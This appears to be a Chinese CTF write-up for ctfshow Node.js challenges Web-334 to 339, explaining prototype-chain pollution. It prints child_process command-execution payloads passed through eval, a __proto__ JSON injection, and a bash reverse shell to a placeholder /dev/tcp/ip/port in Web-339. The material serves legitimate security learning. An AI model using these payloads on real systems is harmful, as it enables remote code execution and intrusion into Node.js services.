Nodejs及stfshow相关例题

Nodejs及stfshow相关例题

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库。

  • Node.js可以生成动态页面内容
  • Node.js 可以在服务器上创建、打开、读取、写入、删除和关闭文件
  • Node.js 可以收集表单数据
  • Node.js 可以添加、删除、修改数据库中的数据

Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好

Web-334

这个题直接看附件足够

var findUser = function(name, password)//这个函数接受两个参数
{
  return users.find(
      function(item)//find函数把function(item)这个回调函数作为参数 最后的返回给find函数的值须满足以下条件
  {
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });//return users.find使用 users.find 方法在 users 数组中查找一个满足条件的元素
};

主要是看以上的代码

toUpperCase()作用是把小写字母转为大写

其中的item在另一个文件中

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

由上可知我们输入的账号在经过function(item)这个函数处理后要符合username: 'CTFSHOW', password: '123456'而且要满足输入的账户名name!=='CTFSHOW'所以

输入

username:CTFSHOw//只要不是CTFSHOW即可
password:123456

如图:

image-20240515205222817

Web-335

进入靶场发现啥都没有看一下页面源代码

如图:

image-20240515210931782

看到提示eval函数,eval中可以执行js代码,可以试试使用这个函数进行测试

payload

?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()

对payload的解释

require 是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块

child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令

spawnSync(‘ls’,[‘./’]) 前面代表命令,后面是一个参数,这里的 ./ 代表着当前目录, …/ 代表上一级目录…/…/ 代表上上级目录

这中间用于连接的两个点是用来访问对象属性的

'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里toString()转换为字符串
image-20240515212301306

由题可得fl00g.txt即为flag

payload:

?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

image-20240515212709173

Web-336

操作和上一关一样不过只是变了一下文件名字罢了

屏幕截图 2024-05-15 213021

屏幕截图 2024-05-15 213109

Web-337

针对此题我刚开始还想着md5加密绕过可是我发现当我加上flag后MD5加密后就不同了

新知识:在 JavaScript 中,当你尝试将一个对象与一个字符串进行拼接时,对象会被隐式转换为字符串。这个转换的默认行为是调用对象的 toString() 方法,对于普通对象(如 { x: '1' }{ x: '2' }),默认的 toString() 方法会返回 [object Object]

a={'x':'1'}
b={'x':'2'}
console.log(a + "flag{xxx}")
console.log(b + "flag{xxx}")

#[object Object]flag{xxx}
#[object Object]flag{xxx}

所以payload:?a[x]=1&b[y]=2只要是两个数组即可

如图:

屏幕截图 2024-05-20 213632

原型链污染

先来了解啥是原型链

// 定义一个构造函数
function Person(name, age) {
  this.name = name;
  this.age = age;
}// 在构造函数的原型对象上定义一个方法
Person.prototype.sayHello = function() {
  console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
};// 创建一个 Person 实例
const person1 = new Person('Alice', 25);// 调用该实例的 sayHello 方法
person1.sayHello(); // 输出:Hello, my name is Alice and I am 25 years old.// 查看该实例的原型对象
console.log(person1.__proto__); // 输出:{ sayHello: [Function] }// 查看该实例的原型对象的原型对象
console.log(person1.__proto__.__proto__); // 输出:{ constructor: [Function: Object], ... }

在以上的代码中**person1.__proto__**表示对象person1的原型对象

person1.__proto__.__proto__表示对象person1的原型对象的原型对象

可以把这个对象一层一层的看成原型链

原型链污染

首先区分一个概念prototype 属性被用于在函数的原型上定义方法和属性,而 __proto__ 属性被用于实现实例对象和构造函数之间的继承关系。

例子:

// 定义一个基础对象,包含一个 getName 方法
const baseObj = {
  getName: function() {
    return 'I am a base object';
  }
};// 定义一个恶意对象,通过原型链污染修改了 getName 方法
const maliciousObj = {
  getName: function() {
    return 'I am a malicious object';
  }
};
maliciousObj.__proto__ = baseObj; // 修改原型对象为 baseObj// 创建一个普通的对象,并访问 getName 方法
const normalObj = {};
console.log(normalObj.getName()); // 输出:Uncaught TypeError: normalObj.getName is not a function// 修改 normalObj 对象的原型为 maliciousObj
Object.setPrototypeOf(normalObj, maliciousObj);// 此时再次访问 getName 方法,输出被污染的内容
console.log(normalObj.getName()); // 输出:I am a malicious object

prototype和__proto__分别是什么

javascript中我们要定义一个类,需要以定义构造函数的方式来定义

function Foo(){
	this.bar = 1
}
new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性.一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数的内部

function Foo() {
	this.bar = 1
    this.show = function() {
    	console.log(this.bar)
    }
}

(new Foo()).show()

但是这样写有一个问题,就是每当我们创建一个Foo对象的时候,this.show = function 就会执行一次,这个show方法实际上是绑定在对象上面的,而不是绑定在类中.我们希望在创建类的时候只创建一次show方法,增时候就需要使用原型(prototype)了

function Foo(){
	this.bar = 1
}
Foo.prototype.show = function show() {
	console.log(this.bar)
}
let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法.比如上面的foo对象,其天生就有foo.show()方法

我们可以通过Foo.prototype来访问Foo类的原型,但是Foo实例化出来的对象,是不能通过prototype访问原型的.这个时候,就该到_proto_

一个Foo实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型

foo.__proto__ = Foo.prototype

//prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在类的prototype属性

javascript原型链继承

所有类对象在实例化的时候会将拥有prototype中的属性和方法,这个特性被用来实现javascript中的继承机制

function Father(){
	this.first_name = "Donald"
	this.last_name = "Trump"
	
}
function Son(){
	this.first_name = "Melania"
	
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了father类的last_name属性,最后输出的是Name: Melania Trump.对于对象son,在调用son.last_name时,实际上javascript引擎会进行如下操作

在对象son中寻找last_name
如果找不到,则在son.__proto__中寻找last_name
如果仍然找不到,则继续在son._proto_.__proto__中寻找last_name
依次寻找,直到找到null结束.比如,object.prototypt的__proto__就是null

javascript的这个查找的机制,被用在面向对象的继承之中,被称作prototype继承链

每一个构造函数(constructor)都有一个原型对象(prototypt)
对象的__proto__属性,指向类的原型对象prototype
javascript使用prototype链实现继承机制
原型链污染

foo.__proto__指向的是Foo类中的prototype.那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类

//foo是一个简单的javascript对象
let foo = {bar:1}

//foo.bar此时为1
console.log(foo.bar)

//修改foo的原型(即object)
foo.__proto__.bar = 2

//由于查找顺序的愿意,foo.bar依然是1
console.log(foo.bar)

//此时在用object创建一个空的zoo对象
let zoo = {}

//查看zoo.bar
console.log(zoo.bar)

因为虽然我们把foo的原型给改了但是因为在进行原型链查找的时候顺序是先查自身再向原型查

所以console.log(foo.bar)中的foo.bar输出为一但是由于zoo.bar本身为空所以console.log(zoo.bar)输出为2

在所有js代码片段中Object.prototype 是所有对象的默认原型所以foo.__proto__.bar = 2实际是改的是在这个代码段的原型

哪些情况下原型链会有污染呢

找找能够控制数组(对象)的"键名"操作就好

对象merge
对象clone(其实内核就是将待操作对象merge到一个空对象中)
function merge(target,source){
	for(let key in source){
		if (key in source && key in target){
			merge(target[key],source[key])
		}else{
			target[key] = source[key]
		}
	}
}

在合并的时候,存在赋值的操作target[key] = source[key],那么这个key如果是_proto_,是不是可以原型链污染呢

let o1 = {}
let o2 = {a: 1, "__proto__": {b:2}}
merge(o1,o2)
console.log(o1.a,o2.b)
o3 = {}
console.log(o3.b)

合并虽然成功了,但是原型链并没有污染

这是因为,我们用javascript创建o2的过程(let o2 = {a: 1,“proto”:{b:2}})中,__proto__已经代表了o2的原型,此时遍历o2所有的键名,拿到的是[a,b],__proto__并不是一个key,自然也不会修改object的原型

let o1 = {}
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console.log(o1.a,o2.b)

o3 = {}
console.log(o3.b)

由上可见o3已经被污染

当使用merge函数将o2的内容复制到o1中时,o2中的__proto__会将原型设置为b:2所以console.log(o3.b)为2

实战:

Web-338

下载了附件后我们可以在routes中找到login.js这个javascript文件

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

从以上代码片段中提取到的关键信息是

utils.copy(user,req.body); if(secert.ctfshow==='36dboy'){ res.end(flag);}意思是这个页面会从请求体中获取javascript数据

但是我们如果我们只是传入ctfshow==='36dboy’只会改变user但是获得flag检查的是secert又因为secert为空所以我们选择改变原型使用_proto_ 这样便可实现原型链污染

注:utils.copy(user, req.body) 获取数据的类型是由中间件决定的require('body-parser').json()所以以上代码会获取请求体中的 JavaScript 数据

先抓一个登录包

如图:

屏幕截图 2024-05-22 220814

按照以上思路改包:

屏幕截图 2024-05-22 223336

payload:

"__proto__":{"ctfshow":"36dboy"}

注意:proto前后各是两个下划线

Web-339

进入这关后发现多了一个文件api 先看一下login发现在这个文件中没办法实现原型链污染

因为条件是if(secert.ctfshow===flag)的但是var flag='flag_here';所以没办法

然后我们可以去看看api这个文件

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

我们可以把Function(query)(query)当成一个突破口(Function定义了一个动态函数 这个函数会接受参数query 后面的(query)会调用这个函数执行query参数中的代码)

我们可以利用这个来进行反向shell

payload:(放在请求包中即可)

"__proto__":  {
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}

注意:其中的ip和端口port要换成服务器对应的公网ip和端口

(为什么在这里污染的的是原型不直接污染query?)

因为如果只是污染query那么这行代码只能在当前对象中起作用只有污染了原型后恶意代码才能在全局中起作用

如图:

image-20240523173608190

访问路由/api即可进行反向shell(注意监听端口)

然后便可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/639822.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

panic对defer语句的执行的影响

1.主线程中的panic会直接导致所有正在运行的go协程无法执行,还会导致声明在它之后的defer语句无法执行。 package mainimport ("fmt""time" )func main() {defer fmt.Println("defer1") //声明在panic之前的defer会执行go func() {defer fmt.Pri…

微信小程序反编译/解包

微信小程序反编译/解包 环境与工具 操作系统:Windows 11 23H2 微信版本:3.9.10.19 Q:如何找到小程序文件位置? A:在微信的设置找到文件路径,小程序文件位于 \WeChat Files\Applet\。 Q:小程…

STM32笔记-AD模数转换

目录 一、ADC介绍 二、ADC主要特征 三、ADC框图 1. ​​​​ 外部触发转换 ​ 2. 转换模式 3. 输入通道 4. 逻辑框图 四、校准 五、数据对齐 六、AD转换步骤 七、AD_Init(单通道AD转换)初始化函数配置 DMA: adc_dma_mode_enable(ADC0); 这段代码是用来使能ADC的DMA&a…

怎么一键消除路人?教你三个消除方法

怎么一键消除路人?在数字时代,摄影已成为我们记录生活、表达情感的重要方式。然而,完美的照片背后往往隐藏着一些不那么完美的元素——比如那些不经意间闯入镜头的路人。他们或许只是匆匆过客,但却足以破坏你精心构图的美好瞬间。…

视觉SLAM十四讲:从理论到实践(Chapter5:相机与图像)

前言 学习笔记,仅供学习,不做商用,如有侵权,联系我删除即可 目标 理解针孔相机的模型、内参与径向畸变参数。理解一个空间点是如何投影到相机成像平面的。掌握OpenCV的图像存储与表达方式。学会基本的摄像头标定方法。 一、相…

PS —— 精修图像

PS —— 精修图像 修复污点修复画笔工具修复画笔工具 美白滤镜去杂锐化加杂减淡和锐化工具 我觉得今天这篇博客,无论是男同胞还是女同胞,都要熟练掌握(哈哈哈哈…) 今天我们来学习如何精修图像,精修图像一般分为几步——修复&…

5.24学习记录

[FSCTF 2023]ez_php2 比较简单的pop链 <?php highlight_file(__file__); Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo "All matters have concluded";die($this->ending);}public function __call($name, $arg){for…

Sap Hana 数据迁移同步优化(二)

简述 CloudCanal 近期对 Hana 源端链路做了新一轮优化&#xff0c;这篇文章简要做下分享。 本轮优化主要包含: 表级别 CDC 表表级别任务位点表级别触发器 单 CDC 表的问题 CloudCanal 在实现 Hana 源端增量同步时&#xff0c;最初采用的是单 CDC 表的模式。 即所有订阅表…

2024年5月23日 (周四) 叶子游戏新闻

《Unclogged》Steam页面上线 马桶主题恐怖逃脱解谜Brody制作并发行&#xff0c;一款奇葩创意马桶主题恐怖逃脱解谜新游《Unclogged》Steam页面上线&#xff0c;本作暂不支持中文。 Meta人工智能主管杨立昆 大语言模型不会达到人类智能水平IT之家今日&#xff08;5月23日&#x…

B站pink老师CSS学习(二)

文章目录 一、emmet语法1.快速生成HTML结构语法 二、复合选择器1.什么是复合选择器2.后代选择器3.子选择器4.并集选择器5.伪类选择器6.链接伪类选择器7&#xff1a;focus伪类选择器8.总结 三、元素的显示模式1.什么是元素显示模式2.块元素3.行内元素4.行内块元素5.总结6.元素显…

黑马点评1——短信篇(基于session)

&#x1f308;hello&#xff0c;你好鸭&#xff0c;我是Ethan&#xff0c;一名不断学习的码农&#xff0c;很高兴你能来阅读。 ✔️目前博客主要更新Java系列、项目案例、计算机必学四件套等。 &#x1f3c3;人生之义&#xff0c;在于追求&#xff0c;不在成败&#xff0c;勤通…

uniapp 安卓 Pc端真机浏览器调试

下载插件:真机模拟浏览器 1. 安装, 每次启用时使用usb 线连接电脑, 并且打开手机或者POS (调试设备)开发者模式, 比如我的是pos 机 则在系统设置中找到版本号,点击多次就会触发开发者模式 2.打开真机模拟软件,打开后会打开一个浏览器,如果想要模拟google的浏览器则 在浏览器地…

ZFNet论文详解

ZFNet CNN卷积网络的发展史 1. LetNet5(1998) 2. AlexNet(2012) 3. ZFNet(2013) 4. VGGNet(2014) 5. GoogLeNet(2014) 6. ResNet(2015) 7. DenseNet(2017) 8. EfficientNet(2019) 9. Vision Transformers(2020) 10. 自适应卷积网络(2021) 上面列出了发展到现在CNN的一些经典的…

基于CNN卷积神经网络的金融数据预测matlab仿真,对比BP,RBF,LSTM

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 反向传播网络&#xff08;BP&#xff0c;多层感知器MLP&#xff09; 4.2 径向基函数网络&#xff08;RBF&#xff09; 4.3 卷积神经网络&#xff08;CNN&#xff09; 4.4 长短期记忆网…

成都青年AI人才崭露头角,知了汇智科技助力孵化营大放异彩

5月18日-19日&#xff0c;为期两天的成都国际商贸城青年&#xff08;大学生&#xff09;AI应用孵化营活动在热烈的氛围中圆满落幕。本次活动由成都国际商贸城、成都成商数字科技有限公司、成都知了汇智科技有限公司及成都电商职教集团联合举办&#xff0c;旨在为青年&#xff0…

深入浅出递归算法

文章目录 递归思想递归的题目1.汉诺塔问题问题分析代码展示 2.合并两个有序链表问题分析代码展示 3.反转链表问题分析代码展示 4.两两交换 链表中的节点问题分析代码展示 总结 递归思想 递归就是将一个很大的问题拆分成子问题&#xff0c;然后再将子问题继续拆分&#xff0c;拆…

力扣226. 翻转二叉树(DFS的两种思路)

Problem: 226. 翻转二叉树 文章目录 题目描述思路复杂度Code 题目描述 思路 涉及二叉树的递归解法时往往需要考虑两种思路&#xff1a; 1.在递归遍历时执行题目需要的具体要求&#xff1b; 2.将一个大问题分解为多个小子问题 具体到本体&#xff1a; 思路1&#xff1a;遍历 先…

前端请求超时截断,axios timeout设置未生效情况记录

问题描述 前端请求超时截断&#xff0c;axios timeout设置未生效情况记录 timeout设置方式&#xff1a; 表现&#xff08;前端超过5min报错500&#xff0c;直接访问接口超过5min能够正常响应&#xff09;&#xff1a; 问题原因 上面的配置设置时间为1000min&#xff0c;明显…

多项式重构的平滑和法线估计-------PCL

多项式重构的平滑和法线估计 /// <summary> /// 多项式重构的平滑和法线估计 /// </summary> /// <param name"cloud"></param> /// <returns>输出一个包含平滑后的点云数据以及相应法线信息的数据结构</returns> pcl::PointCl…